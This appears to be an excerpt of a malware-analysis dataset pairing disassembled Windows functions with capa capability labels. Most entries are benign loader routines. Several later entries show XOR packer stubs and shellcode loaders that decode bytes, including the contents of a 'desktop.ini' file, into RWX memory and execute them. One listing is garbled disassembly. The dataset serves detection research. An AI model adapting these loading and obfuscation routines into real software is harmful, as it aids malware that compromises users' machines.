joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406bc0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
xorps xmm0, xmm0
push 0x2000
movlpd qword [esp + 0x1c], xmm0
call fcn.00410d12
mov esi, eax
add esp, 4
mov dword [esp + 0x14], esi
test esi, esi
je 0x406d2a
mov ebx, dword [esp + 0x2c]
push 2
push 0
push 0
push ebx
call fcn.0040d3f0
add esp, 0x10
test eax, eax
js 0x406d2a
push ebx
call fcn.0041314b
add esp, 4
mov edi, eax
mov eax, dword [esp + 0x34]
test edx, edx
jb 0x406d2a
ja 0x406c46
cmp edi, eax
jb 0x406d2a
test edx, edx
jne 0x406c46
cmp edi, 0x2000
jae 0x406c46
xorps xmm0, xmm0
movlpd qword [esp + 0x20], xmm0
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
jmp 0x406c53
mov ebp, edi
mov ebx, edx
add ebp, 0xffffe000
adc ebx, 0xffffffff
sub edi, ebp
mov dword [esp + 0x10], ebx
cmp edi, eax
jb 0x406d2a
push 0
push ebx
push ebp
push dword [esp + 0x38]
call fcn.0040d3f0
add esp, 0x10
test eax, eax
js 0x406d2a
push dword [esp + 0x2c]
push edi
push 1
push esi
call fcn.0040cff9
add esp, 0x10
cmp eax, edi
jne 0x406d2a
mov eax, dword [esp + 0x34]
sub edi, eax
add edi, 1
je 0x406d09
lea ebx, [esi - 1]
add ebx, edi
mov esi, dword [esp + 0x30]
mov edx, ebx
sub eax, 4
jb 0x406cc1
nop dword [eax]
mov ecx, dword [edx]
cmp ecx, dword [esi]
jne 0x406cca
add edx, 4
add esi, 4
sub eax, 4
jae 0x406cb0
cmp eax, 0xfffffffc
je 0x406d4a
mov cl, byte [edx]
cmp cl, byte [esi]
jne 0x406cf7
cmp eax, 0xfffffffd
je 0x406d4a
mov cl, byte [edx + 1]
cmp cl, byte [esi + 1]
jne 0x406cf7
cmp eax, 0xfffffffe
je 0x406d4a
mov cl, byte [edx + 2]
cmp cl, byte [esi + 2]
jne 0x406cf7
cmp eax, 0xffffffff
je 0x406d4a
mov al, byte [edx + 3]
cmp al, byte [esi + 3]
je 0x406d4a
mov eax, dword [esp + 0x34]
dec ebx
sub edi, 1
jne 0x406ca1
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov edi, eax
mov edx, 0
add edi, ebp
adc edx, ebx
add edi, 0xffffffff
adc edx, 0xffffffff
test ebx, ebx
jne 0x406c27
test ebp, ebp
jne 0x406c27
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
push dword [esp + 0x14]
call fcn.00410cf7
add esp, 4
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
xor esi, esi
add edi, ebp
adc esi, dword [esp + 0x10]
add edi, 0xffffffff
adc esi, 0xffffffff
jmp 0x406d32
Function at 0x406e50
Capabilities:
Create directory
Get disk information
Query environment variable

Disassembly:
mov eax, 0x4004
call fcn.0040afb0
mov eax, dword [0x433008]
xor eax, esp
mov dword [esp + 0x4000], eax
mov eax, dword [esp + 0x4008]
push edi
push 0
push 0
push eax
call fcn.00408030
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x406ea8
push str.LOADER:_failed_to_convert_runtime_tmpdir_to_a_wide_string._n
call fcn.00401e70
add esp, 4
xor eax, eax
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
push esi
push 0x1000
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push edi
mov esi, eax
call fcn.00410cf7
add esp, 4
test esi, esi
jne 0x406eef
push str.LOADER:_failed_to_expand_environment_variables_in_the_runtime_tmpdir._n
call fcn.00401e70
add esp, 4
xor eax, eax
pop esi
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
lea eax, [esp + 8]
push eax
call fcn.00407ee0
add esp, 4
test eax, eax
je 0x406f86
cmp word [esp + 0xc], 0x5c
je 0x406f26
lea edi, [esp + 8]
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x406f13
mov eax, dword [0x427118]
mov dword [edi], eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jg 0x406f62
push eax
lea eax, [esp + 0xc]
push eax
push str.LOADER:_runtime_tmpdir_points_to_non_existent_drive__ls__type:__d___n
call fcn.00401e70
add esp, 0xc
xor eax, eax
pop esi
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
lea eax, [esp + 8]
push eax
call fcn.00413161
add esp, 4
pop esi
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
push 0x1000
lea eax, [esp + 0xc]
push eax
push 0
call fcn.004135c8
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x406fc6
push str.LOADER:_failed_to_obtain_the_absolute_path_of_the_runtime_tmpdir._n
call fcn.00401e70
add esp, 4
xor eax, eax
pop esi
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
push 0x5c
push esi
call fcn.0040c397
mov edi, eax
add esp, 8
test edi, edi
je 0x407026
nop word [eax + eax]
mov ecx, edi
lea eax, [esp + 0x2008]
push esi
sub ecx, esi
sar ecx, 1
push ecx
push str._.s
push 0x1000
push eax
call fcn.00401d30
add esp, 0x14
lea eax, [esp + 0x2008]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [edi + 2]
push 0x5c
push eax
call fcn.0040c397
mov edi, eax
add esp, 8
test edi, edi
jne 0x406fe0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x407079
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x407079
push esi
push str.LOADER:_failed_to_create_runtime_tmpdir_path__ls__n
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateDirectory
call fcn.00402150
push esi
call fcn.00410cf7
add esp, 0x14
xor eax, eax
pop esi
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
mov ecx, dword [esp + 0x4008]
mov eax, esi
pop esi
pop edi
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
Function at 0x4070a0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x2254
call fcn.0040afb0
mov eax, dword [0x433008]
xor eax, esp
mov dword [esp + 0x2250], eax
push ebx
push ebp
mov ebp, dword [esp + 0x2260]
lea eax, [esp + 0x258]
push esi
push edi
push ebp
push 0x4273f0
push 0x1000
push eax
call fcn.00401d30
mov ebx, eax
add esp, 0x10
cmp ebx, 0x1000
jge 0x407220
lea eax, [esp + 0x10]
mov esi, 0x1001
push eax
lea eax, [esp + 0x264]
sub esi, ebx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x407220
mov edx, 0x4273fc
lea ecx, [esp + 0x3c]
nop word [eax + eax]
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x407146
test ax, ax
je 0x407142
mov ax, word [ecx + 2]
cmp ax, word [edx + 2]
jne 0x407146
add ecx, 4
add edx, 4
test ax, ax
jne 0x407120
xor eax, eax
jmp 0x40714b
sbb eax, eax
or eax, 1
test eax, eax
je 0x4071f7
mov ecx, 0x427400
lea eax, [esp + 0x3c]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x407186
test dx, dx
je 0x407182
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x407186
add eax, 4
add ecx, 4
test dx, dx
jne 0x407160
xor eax, eax
jmp 0x40718b
sbb eax, eax
or eax, 1
test eax, eax
je 0x4071f7
lea eax, [esp + 0x3c]
push eax
push 0x427408
lea eax, [esp + ebx*2 + 0x266]
push esi
push eax
call fcn.00401d30
add esp, 0x10
cmp eax, esi
jge 0x4071f7
mov eax, dword [esp + 0x10]
test al, 0x10
je 0x4071e9
test eax, 0x400
je 0x4071d7
cmp dword [esp + 0x34], 0xa000000c
jne 0x4071d7
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x4071f7
lea eax, [esp + 0x260]
push eax
call fcn.004070a0
add esp, 4
jmp 0x4071f7
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407111
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebp
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
dec eax
neg eax
sbb eax, eax
jmp 0x407223
or eax, 0xffffffff
mov ecx, dword [esp + 0x2260]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040adc3
add esp, 0x2254
ret
Function at 0x407270
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x4014
call fcn.0040afb0
mov eax, dword [0x433008]
xor eax, esp
mov dword [esp + 0x4010], eax
push ebx
push esi
mov esi, dword [esp + 0x4020]
mov dword [esp + 8], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
lea eax, [esp + 8]
push eax
push 0
push 0
push ebx
mov dword [esp + 0x24], ebx
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x407417
mov eax, dword [esp + 8]
test eax, eax
je 0x407417
push 1
push eax
call fcn.00410cec
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
je 0x407417
lea ecx, [esp + 8]
push ecx
push dword [esp + 0xc]
push eax
push ebx
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x4073f0
push 0x1000
lea eax, [esp + 0x1c]
push eax
lea eax, [esi + 0x2012]
push eax
call fcn.00408030
add esp, 0xc
test eax, eax
je 0x4073f0
lea esi, [esp + 0x18]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x407327
push ebp
mov ebp, dword [esp + 0xc]
sub esi, ecx
push edi
shr ebp, 2
xor ebx, ebx
sar esi, 1
xor edi, edi
test ebp, ebp
je 0x4073ee
mov ecx, dword [esp + 0x14]
nop
push 0x1000
lea eax, [esp + 0x2024]
push eax
push dword [ecx + edi*4]
push dword [esp + 0x28]
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x407394
push esi
lea eax, [esp + 0x2024]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.0041324e
mov ecx, dword [esp + 0x20]
add esp, 0xc
test eax, eax
jne 0x407398
mov eax, dword [ecx + edi*4]
mov dword [ecx + ebx*4], eax
inc ebx
jmp 0x407398
mov ecx, dword [esp + 0x14]
inc edi
cmp edi, ebp
jl 0x407350
test ebx, ebx
jle 0x4073ee
mov edi, ecx
push 0x1000
lea eax, [esp + 0x2024]
push eax
push dword [edi]
push dword [esp + 0x28]
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x4073e6
push dword [edi]
mov esi, 1
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x4073e2
cmp esi, 0x20
jge 0x4073e6
push dword [edi]
inc esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
jne 0x4073d0
inc dword [esp + 0x18]
add edi, 4
sub ebx, 1
jne 0x4073a3
pop edi
pop ebp
push dword [esp + 0xc]
call fcn.00410cf7
mov eax, dword [esp + 0x14]
add esp, 4
pop esi
pop ebx
mov ecx, dword [esp + 0x4010]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4014
ret
mov ecx, dword [esp + 0x4018]
xor eax, eax
pop esi
pop ebx
xor ecx, esp
call fcn.0040adc3
add esp, 0x4014
ret
Function at 0x407500
Capabilities:
Create directory
Get common file path

Disassembly:
mov eax, 0x2028
call fcn.0040afb0
mov eax, dword [0x433008]
xor eax, esp
mov dword [esp + 0x2024], eax
push ebx
mov ebx, dword [esp + 0x2030]
push ebp
xor ebp, ebp
mov dword [esp + 8], ebx
push esi
push edi
cmp dword [ebx + 0x3038], ebp
je 0x407597
push 0x4272d0
call fcn.004076c0
push dword [ebx + 0x3038]
mov ebp, eax
call fcn.00406e50
mov edi, eax
add esp, 8
test edi, edi
jne 0x407562
push ebp
call fcn.00410cf7
add esp, 4
or eax, 0xffffffff
jmp 0x40769b
push edi
push 0x4272d4
call fcn.004138bc
push edi
mov esi, eax
call fcn.00410cf7
add esp, 0xc
test esi, esi
je 0x407597
push str.LOADER:_failed_to_set_the_TMP_environment_variable._n
call fcn.00401e70
push ebp
call fcn.00410cf7
add esp, 8
or eax, 0xffffffff
jmp 0x40769b
lea eax, [esp + 0x34]
push eax
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
push str._MEI_d
lea eax, [esp + 0x1c]
push 0x10
push eax
call fcn.00407eb0
add esp, 0x10
xor esi, esi
jmp 0x4075c9
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x38]
push eax
call fcn.004140c0
add esp, 8
mov edi, eax
push dword [ebx + 0x301c]
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x407602
push edi
call fcn.00410cf7
inc esi
add esp, 4
or ebx, 0xffffffff
cmp esi, 5
jl 0x4075c5
jmp 0x407638
push 0x1000
lea eax, [ebx + 0x2012]
push eax
push edi
call fcn.004080b0
add esp, 0xc
test eax, eax
jne 0x40762d
push str.LOADER:_length_of_teporary_directory_path_exceeds_maximum_path_length__n
call fcn.00401e70
add esp, 4
or ebx, 0xffffffff
jmp 0x40762f
xor ebx, ebx
push edi
call fcn.00410cf7
add esp, 4
mov eax, dword [esp + 0x10]
cmp dword [eax + 0x3038], 0
je 0x407699
push 0
push 0
push 0x4272d0
call fcn.00408030
test ebp, ebp
je 0x407683
push 0
push 0
push ebp
mov edi, eax
call fcn.00408030
mov esi, eax
push esi
push edi
call fcn.004138bc
push edi
call fcn.00410cf7
push esi
call fcn.00410cf7
push ebp
call fcn.00410cf7
add esp, 0x2c
jmp 0x407699
mov esi, eax
push 0x42700c
push esi
call fcn.004138bc
push esi
call fcn.00410cf7
add esp, 0x18
mov eax, ebx
mov ecx, dword [esp + 0x2034]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040adc3
add esp, 0x2028
ret

Function at 0x4076c0
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x4004
call fcn.0040afb0
mov eax, dword [0x433008]
xor eax, esp
mov dword [esp + 0x4000], eax
mov eax, dword [esp + 0x4008]
push 0
push 0
push eax
call fcn.00408030
add esp, 0xc
lea ecx, [esp]
push 0x1000
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp eax, 0x1000
jae 0x407753
test eax, eax
je 0x407753
push 0x1000
lea eax, [esp + 0x2004]
push eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp eax, 0x1000
jae 0x407753
test eax, eax
je 0x407753
push 0
lea eax, [esp + 0x2004]
push 0
push eax
call fcn.004080b0
add esp, 0xc
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
mov ecx, dword [esp + 0x4000]
xor eax, eax
xor ecx, esp
call fcn.0040adc3
add esp, 0x4004
ret
Function at 0x40b8df
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40b91e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40b91e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b91e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40b91e
cmp dword [ecx + 0x74], 0xe
jbe 0x40b91e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x416808
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041667e

Function at 0x41b491
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041afe4

Function at 0x424210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42423d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42423d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401140
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x411d5c
call esi
push 0x411d70
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40116e
push 0x800
call eax
push 0x411d8c
call esi
push str.CLRCreateInstance
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], 0
test eax, eax
je 0x4011e8
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push 0x411e2c
push 0x411e3c
call eax
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x4011e0
mov eax, dword [ecx]
lea edx, [esp + 0x10]
push edx
push 0x411e4c
push str.v4.0.30319
push ecx
call dword [eax + 0xc]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x4011e0
mov eax, dword [ecx]
lea edx, [esp + 4]
push edx
push 0x411dfc
push 0x411e1c
push ecx
call dword [eax + 0x24]
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x401207
lea eax, [esp + 4]
push eax
push 0x411dfc
push 0x411e1c
push 0
push 0
push 0
call dword [sym.imp.mscoree.dll_CorBindToRuntimeEx]
mov ecx, dword [esp + 4]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
mov eax, dword [esp + 4]
lea edx, [esp + 0x14]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0xc]
push edx
push 0x411e0c
push eax
mov ecx, dword [eax]
call dword [ecx]
mov edx, dword [esp + 0xc]
mov ecx, dword [ebp + 8]
push str._RESOLVER
call fcn.00401010
mov edx, dword [esp + 0x10]
add esp, 4
mov ecx, dword [ebp + 8]
push str._ENTRYPOINT
call fcn.00401010
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401a94
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ad3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ad3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ad3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ad3
cmp dword [ecx + 0x74], 0xe
jbe 0x401ad3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40bf80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40bfad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40bfad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0xf98705f
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x2d0e54b0
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x405c36
Capabilities:
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call

Disassembly:
push 0xc
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor eax, eax
push 0
push 0xa
push 0xc
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
and eax, 0xa3
add esi, eax
cmp esi, 0x9f394e3
jge 0x405c64
cmp eax, 0
je fcn.00405c36
mov ebx, eax
mov eax, 0x1205a
sub eax, 0x115b1
add eax, 0x11847
mov ecx, edx
sub esp, 4
mov dword [esp], ecx
sub esp, 4
mov dword [esp], 0x40
push 0x3000
push eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp]
add esp, 4
mov ecx, esi
mov esi, dword [esp]
mov edi, eax
add esi, 0xea
sub esp, 4
mov dword [esp], eax
mov ecx, 0x1e3
mov edx, 0x60bf7933
xor ebp, ebp
xor bh, bh
add bh, dl
add bh, byte [esi]
inc esi
mov byte [edi], bh
add byte [edi], bl
inc edi
push edx
sub esp, 4
mov dword [esp], ecx
push 0x18
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
pop ecx
pop edx
add eax, 4
shr edx, 8
inc ebp
cmp ebp, eax
jne 0x405cf5
mov ebp, 0x60bf7933
mov edx, ebp
xor ebp, ebp
sub ecx, 0xdb224
add ecx, 0xdb223
test ecx, ecx
jne 0x405cc2
pop eax
mov edx, eax
mov eax, 4
add edx, eax
call edx
test eax, eax
jne 0x405c64
ret 0x78
Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x43b657
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x43b3c1
mov ebx, edx
sub ebx, edx
call fcn.0043b68d
sub edx, 1
xor dword [ecx], edi
sub edx, 0x2cde11ac
inc edx
sub edx, edx
add ecx, 1
and ebx, edx
cmp ecx, eax
jne fcn.0043b657
sub edx, 0x582e9b1
add edx, ebx
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x2ad148a7
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x51ad27e4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x403839
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add byte [ecx], al
push ebx
push esi
push edi
mov ebx, edx
ja 0x403845
xor eax, eax
push ebp
push 0x409050
add edi, edi
xor byte [ecx + ecx*4 + 0x20], ah
and eax, dword [eax]
cmp ebx, 0x40
sti
inc eax
jle 0x4038a4
lea eax, [ebp]
add ecx, ecx
mov edx, 0x27000040
add byte [esp + esi], cl
add byte [eax], al
lea eax, [ebp - 4]
add byte [ecx], al
xor byte [eax], al
add byte [esi - 0x47], ah
xchg ebp, eax
add byte [edx + 0x40], bh
call 0xff413889
cmp ebx, 0x40
jle 0x40385a
add dh, al
mov edx, dword [ebp - 4]
call 0x1403b81
call fcn.0040d319
add al, 0
add al, 0
add byte [eax], al
add byte [ebp + 0x41], dh
add byte [ecx], al
inc eax
cmp ebx, 0x40
jg 0x403856
add bl, bl
jle 0x4038dd
lea eax, [ebp - 4]
xor eax, dword [eax]
add ebx, edx
call 0x8c406c75
add byte [ebp - 4], al
call fcn.00406919
add byte [ecx], al
and byte [eax], al
mov edx, ebx
call 0x3f3905
mov eax, esi
mov edx, dword [ebp - 4]
add byte [ecx], al
add al, byte [eax]
add al, ch
inc ebx
or eax, dword [eax]
add byte [ebx + 0x4b8], al
add byte [eax], al
add eax, eax
pop edx
pop ecx
pop ecx
sub eax, 0x90576800
inc eax
add byte [ebp - 0x74feffbb], cl
sub al, byte [eax]
add byte [eax - 0xf], bl
lea eax, [ebp]
add dword [ebx + 0x5800002a], ecx
int1
add cl, ch
ja 0x403918
add byte [eax], al
jmp 0x4038ea
mov eax, dword [0x885980]
add dword [ebx + 0x488b0845], ecx
mov byte [0xd289be00], al
add al, byte [eax]
add byte [ebx + 0x508b0100], cl
cld
add edx, 0xe4
lea eax, [ebp - 4]
call fcn.0041396d
mov eax, dword [ebp + 8]
mov edi, dword [eax + eax - 0x1703aa75]
movsb byte es:[edi], byte [esi]
add eax, dword [eax]
add byte [ecx], al
inc ebp
or byte [ebx + 0x6efc40], cl
rol byte [edx], cl
add byte [eax], al
add byte [ebx + 0x40010045], cl
cld
mov byte [eax + 0x25d3], 0
xor eax, eax
pop edx
pop ecx
pop ecx
add byte [ecx], al
adc byte [eax - 0x1f], ch
nop
inc eax
mov ch, 0
inc ebp
cld
call fcn.00406359
add byte [ecx], al
loopne 0x403969
in eax, dx
pop ds
add dh, dh
add dh, ch
pop ecx
pop ebp
ret